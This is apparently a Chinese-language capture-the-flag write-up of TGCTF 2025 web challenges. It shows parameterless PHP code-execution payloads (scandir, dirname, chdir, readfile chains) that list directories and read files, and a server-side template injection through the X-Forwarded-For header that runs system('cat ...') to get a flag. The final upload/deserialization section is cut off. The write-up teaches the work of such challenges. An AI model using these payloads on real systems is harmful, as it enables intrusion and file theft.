web签到:
考察点:无参数构造
源码:
1 | $tgctf2025=$_GET['tgctf2025']; |
分析:
正则表达式过滤了以下字符:
- 数字0、1、3-9
- 符号:~、`、@、#、$、%、^、&、*、(、)、-、=、+、{、[、]、}、:、’、”、,、<、.、>、/、?、\
允许的字符包括:
- 数字2
- 字母a-z(不区分大小写)
- 下划线_
- 英文括号
()(未被过滤) - 分号
;、空格、管道符|等
1.查看当前目录:
1 | ?tgctf2025=print_r(scandir(current(localeconv()))); |
1 | 解释: |
得到:
1 | Array ( [0] => . [1] => .. [2] => index.php ) |
2.使用无参数构造:
查看上级目录
1 | ?c=print_r(scandir(dirname(getcwd()))); |
- **
getcwd()**:这是一个 PHP 函数,其作用是获取当前工作目录的完整路径。例如,若当前工作目录是/var/www/html,那么getcwd()就会返回该路径。 - **
dirname(getcwd())**:dirname()函数用于返回指定路径的父目录。结合getcwd()后,它会返回当前工作目录的父目录。比如,若getcwd()返回/var/www/html,则dirname(getcwd())会返回/var/www。 - **
scandir(dirname(getcwd()))**:scandir()函数用于列出指定目录中的文件和文件夹。这里它会列出当前工作目录的父目录下的所有文件和文件夹,并将结果以数组形式返回。 - **
print_r(scandir(dirname(getcwd())))**:print_r()函数用于以易读的格式输出变量。这里它会把scandir()函数返回的数组输出,方便查看目录内容
查看当前目录的上上一级目录
1 | ?c=print_r(scandir(dirname(dirname(getcwd())))); |
得到:

- **
getcwd()**:获取当前工作目录的完整路径。 - **
dirname(getcwd())**:获取当前工作目录的父目录。 - **
dirname(dirname(getcwd()))**:再次使用dirname()函数,得到当前工作目录的父目录的父目录。 - **
scandir(dirname(dirname(getcwd())))**:列出当前工作目录的父目录的父目录下的所有文件和文件夹,结果以数组形式返回。 - **
print_r(scandir(dirname(dirname(getcwd()))))**:以易读的格式输出上述数组。
查看当前目录的上上上一级目录
1 | ?c=print_r(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))); |
得到:

- **
getcwd()**:获取当前工作目录的完整路径。 - **
dirname(getcwd())**:获取当前工作目录的父目录。 - **
dirname(dirname(getcwd()))**:获取当前工作目录的父目录的父目录。 - **
dirname(dirname(dirname(getcwd())))**:获取当前工作目录向上三级的目录。 - **
chdir(dirname(dirname(dirname(getcwd()))))**:chdir()函数用于改变当前工作目录。这里将当前工作目录切换到向上三级的目录。
随机查询根目录
1 | readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); |
火眼辩魑魅
进行扫描
发现:

得到:
1 | User-Agent: * |
经过初略审查:
发现应该是反序列化可以读取一点,无法RCE:
1 |
|

再次审查,发现xff可以
点开显示出我们的IP:

又根据名字的提醒,测试一下XFF注入,发现SSTI可以做到:

查询:

1 | X-Forwarded-For: {{system('cat /tgfffffllllaagggggg')}} |
得到:

1 | X-Forwarded-For: {{system('cat /tgfffffllllaagggggg')}} |
1 | TGCTF{6627ad4f-1262-57f0-b22b-105d5cd9a0ab} |
upload
反序列化
发现无论上传什么都是错误的
说不定有什么其他的考点呢?
扫描得到robots.txt

1 | User-Agent: * |
访问class.php得到:
1 |
|